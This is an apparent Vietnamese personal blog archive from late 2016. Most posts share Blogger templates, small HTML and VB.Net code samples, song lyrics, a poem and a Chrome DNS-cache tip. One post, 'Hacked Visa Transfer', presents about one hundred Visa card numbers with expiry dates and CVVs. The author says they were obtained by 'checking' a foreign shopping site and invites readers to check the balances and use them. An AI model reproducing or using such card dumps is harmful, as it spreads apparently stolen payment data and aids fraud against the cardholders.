Thứ Bảy, 31 tháng 12, 2016

Code Thông Báo Hiện Lên Phía Dưới Footer

Hôm nay mình xin chia sẽ cho các bạn một đoạn code thông báo phía dưới "FOOTER" cho các bạn ^^!, và các bạn cũng lưu ý luôn, đoạn code này sữ dụng tạm thời cho "BLOGGER" đã các bạn nhé ^^. Còn các web "PHP" khác thì mình chưa test nhé :D
HÌNH ẢNH DEMO CHO CÁC BẠN

FULL CODE

<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<script type='text/javascript'>
window.cookieconsent_options = {"message":"Trang web này sử dụng cookie để đảm bảo bạn có được những kinh nghiệm tốt nhất của chúng tôi trên trang web","dismiss":"Close","learnMore":"More info","link":"http://www.bomkhung.info/p/about.html","theme":"dark-bottom"};
</script>
<script src='//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/1.0.9/cookieconsent.min.js' type='text/javascript'></script>
<!-- End Cookie Consent plugin -->

DEMO cho các bạn test. Các bạn chú ý ở phía dưới nhé ^^




Thứ Năm, 29 tháng 12, 2016

MocNews – Magazine Blogger Template


Chào các bạn,

Nhận thấy việc có khá nhiều bạn sử dụng Blogger để tạo blog tin tức. Nên mình quyết định tạo ra 1 Template dành riêng cho những website/blog tin tức trên nền tảng Blogger. Template được thiết kế dạng 3 cột và tối ưu các vị trí quảng cáo, điều này rất có lợi cho những bạn chiến GA.

Nhằm đáp ứng tính chất của 1 website tin tức, Template được tích hợp Box các bài viết mới nhất trên website. Box các video mới nhất trên website, hay là hiển thị các bài viết theo từng chủ đề khác nhau trên trang chủ.

Và một điều không thể thiếu đó là Template hoàn toàn tương thích với giao thức HTTPS cũng như thân thiện với mọi thiết bị di động.

Được tối ưu khá nhiều nên Template cũng có một tốc độ tương đối tốt dù là Template thuộc thể loại Magazine (Tin tức).

DEMO BUY NOW






Nguồn : MocGin.Com


APRIEZT 1.2 TEMPLATE - GIAO DIỆN ĐẸP ĐỂ LÀM WEBSITE TIN TỨC



Hôm nay mình xin chia sẻ thêm 1 template blogspot đẹp nữa để làm website tin tức.
Apriezt là một Template blogger với bố cục đáp ứng có hai phong cách. Hỗ trợ seo tốt. Thiết kế của nó đơn giản và đẹp, đáp ứng nhu cầu cho các website tạp chí hoặc các loại.

Một số thông tin của TEMPLATE cho mọi người
Share Free Dowload Template Apriezt V1.2
Current version: 1.2
100% Responsive
Auto resize thumbnail image
Auto Featured Post from JSON (Slideshow) *
Manual Featured Post Work with Image Widget(Slideshow)
Support Advance Editor: upload background images, change background color, key colors, fonts
Lightweight Auto read-more support third party image and youtube
Ajax Page Navigation *
Cool blogger threaded comment (Support Google+ Comment) with Emoticon
JSON Search Result *
Two View Mode (List and Grid) width Cookies
Recent Comment Widget *
News Ticker Widget *
Related Post Widget *
Support Mega Menu New
Recent Post by Labels (12+ Post Type (Slider, Vertical, Horizontal, Combine, Hot, Gallery, Verticalslide and More) support Random)
Support ShortCode New *
Allow visitors increase / decrease text size and auto remember for future.
Optimize SEO
Support Print CSS and allow visitors share articles email
3 Comment System (Blogger, Facebook, Disqus)
Dropdown Menu
Ads ready
Top Social Icon
Support shortcodes
Custom Error 404 Page
Support Post Preview
Support RTL Language
Social Share Plugin (Addthis)
Compatible with major browsers (IE8+,Mozilla,Chrome,Safari)
Professional admin layout, help you easy work with blog layout.
Now with lightweight version New
* : Work with Blogger JSON Feed and Public Blog

Template này có 2 dạng, các bạn xem demo và tải nhé. Ở đây mình chỉ chia sẻ template ở demo 2.

DEMO 1 DEMO 2 DOWNLOAD

UPDATE : LINK DOWNLOAD CỦA TEMPLATE NÀY ĐÃ DIE

[Source] [VB.Net] Full Code unlock Form To Adf.Ly



Tạo một 1 Form Trong Form thêm Webbrowser

Public Class Form1

Dim id As String = "3246570"

'How to find your adfly ID:
'1. Log in on adfly
'2. Go to https://adf.ly/publisher/tools#tools-easy
'3. Search for a box with a link that looks somehting like this: http://adf.ly/4909356/www.google.com
'4. The number is your id

Dim newForm As Boolean = True
'Set this to true if you want to show a new form when the user skips the ad.
'Set this to false if it should stay on the same form and hide the webBrowser.
'When this is set to true, change the shutdown mode in the properties of you project. (under application)
'/socks.uberalbus.com/adflyLock.html

Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load


Dim link As String = "http://adf.ly/" & id & "/ads.blogsviet.net/adfly-activecode.html"
WebBrowser1.Location = New Point(0, 0)
WebBrowser1.Dock = DockStyle.Fill
WebBrowser1.ScriptErrorsSuppressed = True
WebBrowser1.Navigate(link)

End Sub

Private Sub WebBrowser1_DocumentCompleted(ByVal sender As Object, ByVal e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
If WebBrowser1.DocumentText = "true" Then
If newForm = True Then
form2.show()
Me.Close()
Else
WebBrowser1.Visible = False
End If

End If
End Sub
End Class

Thay thế đoạn code ID màu đỏ bằng với ID của tài khoản ADF.ly của bạn
Thay thế đoạn link web trong blog bằng link web của bạn
Chúc các bạn thành công.

Thứ Tư, 28 tháng 12, 2016

Simplify 2 Blogger Template




Chào các bạn!
Simplify 2 Template Blogger do Arlina phát triển và đang được blogger này bán với giá hợp lý trên blog của Arlina.
Việc gỡ mã hóa đối với Template của Arline hầu như là không thể trừ một số blogger có tên tuổi của Việt Nam mới xóa mã hóa được.
Simplify 2 là giao diện đẹp, đơn giản được nhiều blogger trên thế giới ưa chuộng.
Chuẩn SEO, Responsive, load nhanh, phân trang đầy đủ...

DEMO DOWNLOAD


Flatform TypeBlogger
Template NameSimplify 2 Template
Author Design Arlina
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue

Kompi Design With Google AMP Blogger Templates



Kompi Design With Google AMP Blogger Templates một giao diện mới của năm 2016, giao diện đã add AMP của Google nên việc load trang khá nhanh, mượt cùng phong cách chuyên nghiệp sẽ là sự lựa chọn số 1.

DEMO DOWNLOAD


Flatform TypeBlogger
Template NameKompi Design
Author Design Adhy Suryadi
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue

Allbtrick Blogger Templates



Allbtrick Template Blogger là mẫu giao diện đẹp, đơn giản dựa trên Material Spot Template, được Blogger Đồng Việt chỉnh sửa Menu và Popular Posts sau đó được mình tối ưu lại, sửa một chút phần bố cục, thumbnail, phân trang...
Một số thông tin về TEMPLATE cho các bạn tìm hiểu

DEMO DOWNLOAD TEMPLATE

Flatform TypeBlogger
Template NameAllbtrick Template
Author Design Đồng Việt
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue

Lưu Ý : TEMPLATE này LOAD hơi chậm nhé

Face 23Trick Blogger Templates



Chào tất cả các bạn!
Hôm nay mình share 1 giao diện khá đẹp mang phong cách đơn giản không quá màu mè, chủ yếu là theo phong cách "Facebook".
Giao diện Responsive, load nhanh. Đó là Face 23Trick
Một số thông tin về TEMPLATE cho các bạn

DEMO DOWNLOAD

Flatform TypeBlogger
Template NameFace 23Trick
Author Design Lò Văn Hưng
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue


Tôi Là Quản Trị Responsive Blogger Template



TEMPLATE này nhìn cũng khá hay cho những bạn nào là ADMIN của một số site nào đó hoặc là làm quản trị gì đó muốn viết bài chia sẽ cho mọi người cũng khá hay ^^. Ai cần thì DOWNLOAD nhé :D, một số thông tin của TEMPLATE cho bạn nào cần tìm hiểu ^^
DEMO DOWNLOAD

Flatform TypeBlogger
Template NameTôi Là Quản Trị
Author Design Huỳnh Phụng
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue

GIỚI THIỆU
Một template blogspot đẹp chuẩn seo tích hợp responsive là sự lựa chọn không thể bỏ qua đối với các blogger. Gần đây anh Huỳnh Phụng đã chia sẻ mẫu website Tôi là quản trị rất đẹp với nhiều tính năng hỗ trợ tốt cho việc SEO bởi vì đây như là đứa con tinh thần rất tâm huyết của bạn ấy. Bạn có muốn tìm hiểu không? Cùng Bờm Khùng khám phá nhé :)

Astonish Responsive Blogger Template




Hôm nay mình xin giới thiệu cho các bạn thêm một TEMPLATE cũng khá HOT nữa nhé ^^, theo nhận định của mình thì TEMPLATE này LOAD khá nhanh nhé ^^, một số thông tin về TEMPLATE cho ai cần biết :)

DEMO DOWNLOAD

Flatform TypeBlogger
Template NameAstonish
Author Design Sora Templates
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue

GIỚI THIỆU
Astonish Responsive Blogger Template là một template blogspot tin tức đẹp và ấn tượng, được xuất bản bởi soratemplates gần đây. Thiết kế với phong cách chuyên nghiệp trên nền sắc màu đỏ và đen thật sự quyến rũ và cá tính khiến bạn khó có thể rời đi.

Dens Magazine Responsive Blogger Template



Nhìn sơ qua mình thấy cũng khá đẹp cho ai làm trang blog tin tức nên tiện thể viết bài SHARE luôn cho anh em nào cần dùng đến nhé :D. Một số thông tin về TEMPLATE

Flatform TypeBlogger
Template NameCimy
Author Design Đăng Bùi
Giá 200.000Đ
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue
GIỚI THIỆU
Dens Magazine is a clean stylish magazine responsive blogger template that allows you to focus on content including technology,games, travel destinations, films, blogger magazines, technology etc's. With an attractive color combination and impressed professionals and has many features. With a focus on reducing bounce rates, while increasing ad exposure, this theme will keep your visitors scrolling with more content all while maximizing your ad revenue! If you are looking for Magazine style blogger template then this is best option for you.


Cimy Responsive Blogger Template



Flatform TypeBlogger
Template NameCimy
Author Design Đăng Bùi
Giá 200.000Đ
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue

Template này khá đẹp nhưng không FREE cho mọi người rồi :( ai cần thì mua TEMPLATE này nhé !!!

DEMO BUY TEMPLATE

KHÔNG THỂ BUY TEMPLATE ĐƯỢC NỮA RỒI...(LINK WEBSITE DIE)

Thứ Hai, 26 tháng 12, 2016

MDCamp Valid AMP Templates



DEMO DOWNLOAD

Flatform TypeBlogger
Template NameMDCamp Valid AMP
Author Design BLagioke
Website Design Bloglagioke
PublisherBờm Khùng
Template TypePersonal
ResponsiveTrue
Colum2
Search BoxTrue
AdsenseTrue
BreadcrumbsTrue
Related PostsTrue
Social Share ButtonTrue
ShortcodesTrue
Back to Top ButtonTrue

Fanecy Blogger Templates



Một số thông tin cơ bản của template cho mọi người biết

DEMO DOWNLOAD

Một chút thông tin về Template
Loại Thông Tin
Flatform Type Blogger
Template Name Fanecy Blogger Templates
Author Name Bùi Đức Hiệp
Design Url www.ftrick.com/
Publisher Bờm Khùng

Đây là một giao diện đẹp cho ai muốn làm blog cá nhân hoặc trang tin tức chẳng hạn :D. Quá tốt phải không các bạn, các bạn có thể xem DEMO ở bên dưới để nhìn thấy rỏ hơn chất lượng của TEMPLATE này ra sao.
Ưu điểm luôn là FAST LOAD cho mọi người ^^ như thế rất tiện cho việc SEO nhé mọi người. Ai cần thì download nhé ^^

Template Blogger AMPNews



Một số thông tin cơ bản của template cho mọi người biết

Một chút thông tin về Template
Loại Thông Tin
Flatform Type Blogger
Template Name Template Name AMPNews
Author Name Author Design BLagioke
Design Url blog.lagioke.net
Publisher Bờm Khùng

Đây là một giao diện đẹp cho ai muốn làm blog cá nhân hoặc trang tin tức chẳng hạn :D. Quá tốt phải không các bạn, các bạn có thể xem DEMO ở bên dưới để nhìn thấy rỏ hơn chất lượng của TEMPLATE này ra sao.
Ưu điểm luôn là FAST LOAD cho mọi người ^^ như thế rất tiện cho việc SEO nhé mọi người. Ai cần thì download nhé ^^


Chủ Nhật, 25 tháng 12, 2016

Mloger Template Blogger


Chào các bạn,

Cũng đã lâu rồi Bờm Khùng mới có hứng viết một bài ra một Template mới. Cũng như các Template trước, đây cũng là 1 Template dành cho blog cá nhân. Chỉ khác là nó đẹp hơn thôi 😛

Về Mloger Template
Template được thiết kế đơn giản nhất có thể với mục đích cho các bạn thích vọc vạch Blogspot có cơ hội thử sức ngay trên Template này. Vì vậy, mình cũng không đưa quá thêm bất cứ một tiện ích nào ngoài những tiện ích sẵn có từ blogger.

Ngoài bộ khung cơ bản mình đã tạo, lần này khi tải về các bạn hãy tự mình thử sức với ác tiện ích như Thêm Breadcrumbs cho Blogspot, Bài viết liên quan hay cách chèn quảng cáo cho blogspot,… xem sao nhé!

Qua đây anh em cùng nhau ủng hộ DOIGUOCMOC.COM nhé ^^ vì template này mình thấy FAST LOAD và có REPONSIVE cho MOBILE...

Thứ Năm, 15 tháng 12, 2016

Code Tạo button ẩn hiện nội dung


Hôm nay mưa gió quá !!! Nên mình không tiện đi chơi nên ngồi ở nhà làm mấy việc còn dư động lại, nên cũng có cần đoạn code này nên mình cũng tiền chia sẽ cho mọi người luôn, quả thật trên mạng chia sẽ rất nhiều về thủ thuật này nên mình cũng tiện chia sẽ luôn cho những ai cần ^^.

Đoạn code hoàn toàn đơn giản không cầu kỳ phức tạp nhé mọi người



<div> <div> <input type="button" value="Xem" style="width:75px; font-size:11px; margin:0px; padding:4px; border="1"" onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';this.innerText = ''; this.value = 'Ẩn'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Xem'; }"> </div> <div> <div style="display: none; border:#4F4F4F 1px solid; padding: 4px; background:# ">
NỘI_DUNG
</div>
</div>
</div>

Còn đây là DEMO của mình ...

Thứ Tư, 14 tháng 12, 2016

HAY CHÚNG MÌNH LÀ - GÌ - ĐÓ CỦA NHAU !!!



Hay chúng mình là gì đó của nhau!
Không ngọt ngào như tình bạn…
Chẳng lãng mạn giống tình yêu…
Chỉ lơ đãng bước bên nhau những chiều,
Hoàng hôn nhạt dần, bóng mờ che phủ.

Hay chúng mình tạm quên đi chuyện cũ,
Quên hôm qua, quên cả mãi sau này.
Chỉ dịu dàng tay nắm lấy bàn tay,
Siết nhẹ thôi, cho lòng thêm ấm lại…

Hay chúng mình ở bên nhau mãi mãi
Chỉ sánh đôi, không chút thề nguyền
Chỉ âm thầm, lặng lẽ ở bên
Không ghen tuông hay muộn phiền, giận dỗi…

Hay chúng mình đừng âu lo tội lỗi
Ai khi yêu chẳng gian dối vài phần
Ai cũng có những giờ phút phân tâm
Chới với lòng khi trái tim đi lạc

Hay chúng mình đừng đợi chờ gì khác
Chỉ êm đềm đứng cạnh nhau thôi
Ánh nhìn kia đã hiểu thấu nhau rồi
Mong chi nữa những điều không có thật...

Hay chúng mình đừng lay nhau thức giấc…!




Chủ Nhật, 11 tháng 12, 2016

Don't Miss Out on 12 Days of Freebies!


Theo như email mình nhận được từ "ENVATO" thì nó đang "FREE DOWNLOAD", template này trong vòng 12 ngày cho mọi người :). Ai cần thì download nhé ^^ và một số thông tin cho mọi người biết :).
Và mọi người cũng nên biết là template bên "ENVATO" rất chuẩn "SEO" nhé mọi người nhanh tay download nhé ^^

Don't Miss Out on 12 Days of Freebies!
Our Gift of Giving campaign has just launched so it's now last call to get on our gift list and receive an exclusive daily freebie across the next 12 days.

As a sneak preview of what you can expect to see, we're giving you access to our first free file: Simple Article - A WordPress Personal Blog Theme. Don't miss the list or you miss out on 11 more freebies!


Thứ Hai, 5 tháng 12, 2016

Share 2 Template Phim Blogger Đẹp 2016

Nay rảnh rỗi ngồi share template để không cũng phí bản tiếng trung nhé. :-P.Bản TronBoHd hình như lỗi phần api 🙂 bạn có thể thay bằng API của AniVn.

1.Template TronBOHD



DEMO DOWNLOAD

2.PhimLe.TV



DEMO DOWNLOAD

Chúc các bạn kiếm được cho mình những TEMPLATE mong muốn theo ý mình :)

Thứ Sáu, 2 tháng 12, 2016

GIÚP ANH TRẢ LỜI NHỮNG CÂU HỎI (XV Remix) [TRAP NHỊP]




Bài này cũng khá lâu rồi nhưng mà được mix lại mình nghe cũng khá hay nên share cho mọi người thưởng thức ^^

Lời bài hát

Hôm qua anh mơ hay... Tất cả là sự thật...
Sao môi anh run... Và nước mắt vẫn tuôn,
Mắt anh đẫm lệ, hy vọng em sẽ về...
Cầu mong mọi thứ sẽ tốt hơn chứ.. Đừng tệ thêm đi.
Em tay trong tay trao nụ hôn ấy giữa ban ngày.
Xem ra anh chẳng còn là gì của em
Mắt anh nhắm lại.. không thể thêm nhẫn nại,
Mặc dù cho em là người con gái anh yêu rất nhiều

"Một lòng một dạ để yêu ai đó quá khó phải không?"
Hãy trả lời câu hỏi của anh một cách thật lòng...
Ngoài người mà em luôn nói là mãi yêu..còn một người nữa...
Người đó đã biết hay chưa đã biết bên em đã có anh chưa?

Thôi em đi đi không cần phải nói ra làm gì,
Buông tay anh ra đừng như thê nữa mà
Mắt anh nhắm lại.. không thể thêm nhẫn nại,
Mặc dù cho em là người con gái anh yêu rất nhiều

Chẳng hiểu vì gì mà anh vượt khốn khó để yêu em,
Bỏ qua tất cả để em có hạnh phúc êm đềm
Phải bỏ ngoài tai lời nói chẳng thích nghe về em như thế...
Vậy mà cách đây một ngày chính mắt anh thấy mọi thứ đổi thay.

Chúng ta nay khác rồi..giờ hai người hai nơi...~~~~~!!!!!

Mọi người thưởng thức nhé ^^

ZING MP3



Thứ Hai, 21 tháng 11, 2016

Cách xóa bộ đệm cache DNS trong Chrome

Trình duyệt Chrome có nhiều tính năng mạnh, thú vị nhưng lại bị ẩn, chí ít là với người dùng thông thường không thấy được. Nhưng chỉ cần một chút tìm hiểu, bạn có thể phát hiện ra nhiều tính năng rất hay, cho phép bạn làm vài việc hữu ích. Một trong số đó là xóa bộ đệm cache DNS thủ công ngay bên trong trình duyệt. Hãy cùng tham khảo bài viết sau:

Cách này rất hữu dụng nhất là khi bạn rơi vào tình huống có ai đó đổi thiết lập DNS của bạn khiến hệ thống không truy cập được Internet hoặc Internet bị chậm. Với những ai thường làm việc liên quan đến DNS, làm web và các nhà phát triển ứng dụng thì cách đổi DNS này rất tiệu dụng.

Lưu ý là cách này không liên quan đến xóa cache duyệt web và history trình duyệt trong Chrome hay xóa cookie trình duyệt. Cách này chỉ tập trung vào DNS mà thôi.Mẹo này có thể áp dụng cho trình duyệt Chrome trên các hệ điều hành Mac OS X, Windows và Linux.

Bước 1. Trong trình duyệt Chrome, bạn nhấn Command + L trên Mac, hay Control + L trên PC, để đặt con trỏ vào thanh URL, sau đó gõ chính xác cụm từ:

chrome://net-internals/#dns

Bước 2. Nhấn Return/Enter để truy cập thông tin về DNS, name server, các mục các thông tin liên quan khác đến DNS.

Bạn tìm dưới mục "Host resolver cache" đến nút "Clear host cache", nhấn nút này để xoá mọi cache DNS, đặc biệt cho trình duyệt Chrome.

Một khi cache DNS trong Chrome đã bị xóa và bộ đếm mục sẽ reset lại thành zero, trình duyệt sẽ xoá mọi DNS dư khác. Bạn không cần phải khởi chạy lại trình duyệt mà DNS có thể áp dụng được ngay, ít phiền phức hơn cách flush DNS là buộc phải khởi động lại trình duyệt.

Nếu bạn muốn xóa DNS chỉ để xử lý một máy chủ hay một URL cụ thể nào đó, hãy thử đến URL ấy một lần nữa để xem cache DNS mà bạn vừa thực hiện có hiệu quả hay không nhé.

Cần nhớ là cách làm này không tác động đến dữ liệu trình duyệt nói chung trong Chrome, nó chỉ tác động trong dữ liệu cache DNS chứa bên trong ứng dụng Chrome mà thôi. Bạn buộc phải xóa bộ đệm cache và lịch sử trình duyệt trong Chrome theo cách khác nếu muốn không để lại dấu vết duyệt web.

Thứ Bảy, 19 tháng 11, 2016

Đợi Bao Giờ...

Bài hát " ĐỢI BAO GIỜ " của ca sĩ "RHY" mình nghe rất hay và đấm chất về tình yêu và trùng với tâm trạng mình bây giờ :D. Nên hôm nay mình viết bài share luôn cho mọi người biết về ca khúc này nhé ^^



Anh em nghe xong thấy thế nào :D cũng khá hay chứ ^^, theo như mình nghĩ thì nghe nhiều bài DJ or REMIX cũng nhàn lắm :D nên phải tìm những bài nào đúng với tâm trạng bây giờ của mình nghe chắc phù hợp hơn ^^. Bên dưới là link download Zing VIP 360 cho ai cần nhé :D

Lời Bài Hát...
Lyrics:
Verse:
Mái hiên xưa đã qua nắng mưa, vẫn đi qua chẳng dừng
Đôi bàn tay xưa đã úa tàn
Cứ đứng đó mãi ngóng phía xa, chân ai chẳng đứng lại
Mộng mơ sao vẫn chờ, tại sao?

Thầm thì chỉ vài câu chẳng hiểu mấy
Chẳng hiểu lòng người thật ra mấy sông
Rồi đêm qua vẫn cứ thầm lặng
Tự hỏi sao đã lâu vẫn không thấy nhau
Sao bình minh vẫn chẳng đợi
Rồi chơ vơ, định sẽ đợi bao giờ.

Chorus:
Vẫn cứ thế vẫn cứ bước qua mau
Chẳng thể nhớ nổi bóng dáng của nhau
Đường còn xa mấy khi tìm lại thấy
Để đến hôm nay vẫn chẳng hiểu ra
Chẳng biết đến bao giờ
Đợi gió mưa khi nắng còn vương chốn này

Verse:
Lời hẹn thề ngọt ngào mộng uyên ương
Bước xa đời nhau lòng không vấn vương
Từng cơn mưa buốt tê vô thường
Nghìn trùng mây tìm ai vượt bao gió sương
Bao ngày tháng qua vẫn đợi
Cười vu vơ để bóng người khuất mờ


Thứ Ba, 15 tháng 11, 2016

Hacked Visa Transfer


Hôm nay mình đã thử "CHECK" một site bán hàng online của nước người ta. Thú thực cũng chỉ "CHECK" thử thôi ;) Ai ngờ lại được và một sự thật khá hi hữu đó là 1 ích "CCV" :D quá mừng cho 1 thằng "NEWBIE" như mình lại làm được điều đó :D. Trong khi dân "HACKER" chuyên nghiệp còn cực khổ lắm mới check được những site bán hàng có "CCV" như này :D, hay là site này bảo mật kém quá nhỉ ^^. Các bạn cũng lưu ý dùm mình luôn nhé những "CCV" này mình chưa "CHECK" đâu nhé !!!. Ai cần dùng đến tiền áo này thì làm phiền các bạn "CHECK" xem "BLANCE" có đủ không nhé !!!

4405 3726 1726 4318, 2018/12, 719, Visa
4841 8711 2522 6661, 2019/06, 533, Visa
4644 3712 7606 4861, 2018/05, 274, Visa
4446 0121 2327 0851, 2019/12, 579, Visa
4187 8011 3022 7117, 2019/01, 813, Visa
4867 7828 3402 2201, 2019/05, 471, Visa
4823 8700 1018 1504, 2019/01, 836, Visa
4581 7406 7148 1471, 2018/06, 165, Visa
4305 1582 3520 8816, 2019/01, 547, Visa
4556 7062 7111 3575, 2019/02, 822, Visa
4262 6723 5720 1186, 2019/04, 450, Visa
4102 6110 5825 6655, 2018/05, 285, Visa
4667 4583 3305 2120, 2018/07, 423, Visa
4072 0622 6568 6654, 2018/10, 562, Visa
4637 8022 0585 7651, 2018/01, 545, Visa
4583 2256 1273 5167, 2019/05, 916, Visa
4502 8655 4026 5767, 2019/06, 318, Visa
4617 5320 0655 7564, 2018/06, 698, Visa
4538 7103 4516 2025, 2018/01, 918, Visa
4772 1845 1815 6476, 2019/05, 394, Visa
4175 4657 6858 8044, 2019/11, 537, Visa
4758 8847 4502 6180, 2018/01, 381, Visa
4411 8620 8175 4663, 2019/05, 337, Visa
4360 2883 2117 3764, 2018/06, 191, Visa
4452 4373 7635 2687, 2019/08, 233, Visa
4831 6712 7285 3883, 2019/08, 898, Visa
4083 7884 4477 4675, 2019/07, 898, Visa
4364 3642 8043 2586, 2018/01, 149, Visa
4620 1301 0846 8205, 2018/03, 499, Visa
4786 4364 8205 3368, 2019/05, 694, Visa
4361 5658 0885 1304, 2018/06, 232, Visa
4646 8872 4017 4518, 2019/07, 965, Visa
4082 2151 2872 0411, 2018/07, 603, Visa
4717 7553 4778 1044, 2019/09, 782, Visa
4882 6770 3875 4073, 2018/10, 177, Visa
4177 2681 8223 4346, 2019/06, 876, Visa
4356 2722 3851 5354, 2018/03, 971, Visa
4756 0414 6545 4314, 2018/07, 995, Visa
4360 1806 6001 8801, 2019/04, 508, Visa
4864 0264 4526 4684, 2019/09, 176, Visa
4318 6515 8582 6851, 2019/04, 371, Visa
4434 7366 1337 0250, 2018/04, 608, Visa
4054 5544 4532 8167, 2018/10, 776, Visa
4268 7453 0728 8612, 2019/06, 548, Visa
4150 5826 3540 1034, 2018/02, 555, Visa
4062 4051 0155 1842, 2019/11, 955, Visa
4862 8280 3646 7614, 2018/02, 451, Visa
4750 8032 0731 5152, 2018/04, 692, Visa
4582 0575 6187 4122, 2018/10, 123, Visa
4860 4553 3212 2065, 2019/09, 577, Visa
4772 0216 8453 5218, 2018/09, 278, Visa
4570 0605 4342 1602, 2019/11, 396, Visa
4802 6426 3700 6264, 2018/11, 327, Visa
4420 7134 5451 5141, 2018/08, 324, Visa
4826 4457 8538 1121, 2019/11, 881, Visa
4214 6427 6062 3168, 2019/02, 832, Visa
4344 5150 2406 8664, 2019/01, 924, Visa
4647 3528 1308 8354, 2018/01, 766, Visa
4842 4844 1105 7888, 2018/04, 381, Visa
4038 8387 2710 8855, 2019/10, 216, Visa
4755 8471 8060 5274, 2019/09, 998, Visa
4068 0276 4415 6535, 2019/01, 225, Visa
4268 2371 5718 4356, 2019/07, 469, Visa
4147 5041 3147 5623, 2018/12, 575, Visa
4882 2222 5328 1211, 2019/06, 104, Visa
4084 0237 6602 0450, 2018/10, 273, Visa
4551 8376 0226 4111, 2019/05, 313, Visa
4708 6576 0581 0427, 2018/04, 607, Visa
4113 1226 1365 3706, 2018/01, 542, Visa
4208 8776 2686 2000, 2018/07, 757, Visa
4515 1521 1828 2630, 2019/09, 427, Visa
4583 1478 6141 2217, 2018/06, 874, Visa
4604 8488 7125 1462, 2018/10, 282, Visa
4461 3470 1617 3071, 2019/09, 196, Visa
4324 8345 2617 6162, 2018/04, 979, Visa
4732 6220 6725 6378, 2019/05, 490, Visa
4241 6845 6263 6284, 2018/02, 780, Visa
4715 5504 4664 1864, 2018/04, 190, Visa
4617 1176 0674 7227, 2019/09, 245, Visa
4462 2025 0081 2206, 2018/09, 693, Visa
4525 4568 7830 0757, 2018/07, 213, Visa
4628 7657 4105 5828, 2019/06, 849, Visa
4457 6251 4558 8400, 2019/09, 542, Visa
4666 4768 3431 1150, 2018/11, 687, Visa
4186 0082 6062 5877, 2018/11, 256, Visa
4252 7624 2647 3635, 2018/09, 913, Visa
4838 5715 7400 6441, 2018/06, 888, Visa
4577 6164 0460 3514, 2019/06, 685, Visa
4685 6863 3733 8230, 2019/05, 733, Visa
4711 5045 3105 2572, 2018/04, 178, Visa
4424 7113 3074 1002, 2019/06, 607, Visa
4145 2210 7181 0857, 2018/03, 296, Visa
4732 8436 5442 6428, 2019/01, 620, Visa
4153 3842 5423 3070, 2018/03, 196, Visa
4754 7527 6378 0356, 2019/09, 329, Visa
4557 5644 5770 1625, 2018/10, 232, Visa
4724 0030 5722 0700, 2018/02, 947, Visa
4520 3183 2520 4070, 2018/05, 350, Visa
4238 0154 6081 5206, 2018/09, 645, Visa
4346 0487 6828 5011, 2018/02, 917, Visa

Chúc các bạn may mắn !!!

Thứ Hai, 14 tháng 11, 2016

[VB.Net] Auto Login Facebook


Hôm nay mình xin ra mắt cho mọi người một ứng dụng khá hay đó là "AUTO LOGIN FACEBOOK". Nó sẽ rất tiện cho những bạn nào muốn cho mượn tài khoản facebook mà không cần phải gửi ID và PASS trực tiếp ^^, chỉ cần gửi ứng dụng và mỡ lên thì đã login facebook rồi ^^

Nhược điệm là bắt buộc các bạn phải có 2 link website đó là ID và 1 link PASSWORD nữa ... như vậy thì có khác gì giao link FACEBOOK đâu... !!!. Và mình không muốn như vậy đâu và mình đang cố tìm ra cách giải quyết hữu hiệu nhất cho các bạn đây, có thể mã hóa MD5 / BASE64 hay làm gì để nó login được mới là cách khó :(...

Ưu điểm là link ID với link PASSWORD nó link website online nhé ^^ nó sẽ tự động get thông tin online cho các bạn chứ không phải là giấu ID với PASSWORD sẳn trong ứng dụng nhé mọi người ^^

Còn bên dưới là VIDEO demo cho cả nhà nhé !



Chúc các bạn thành công !

Thứ Tư, 2 tháng 11, 2016

Check IP Adressbar PC

Hôm nay mình xin hướng dẫn các bạn phần mềm check IP Adressbar của PC. Ứng dụng hoàn toàn FREE không có thu phí và nếu các bạn sợ VIRUS thì có thể check virus thoải mái nhé :)


Và dưới đây là video mình check thử và hướng dẫn các bạn cách nhé ^^ "Hoàn toàn đơn giản các bạn nhé ^^"



Full đoạn code cho ai cần nhé ^^
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim webclient As New Net.WebClient
TextBox1.Text = webclient.DownloadString("http://kiemtraip.com/raw.php")
MessageBox.Show("Cảm Ơn Các Bạn Đã Sữ Dụng Ứng Dụng Của Tôi", "Thông Báo")
End Sub

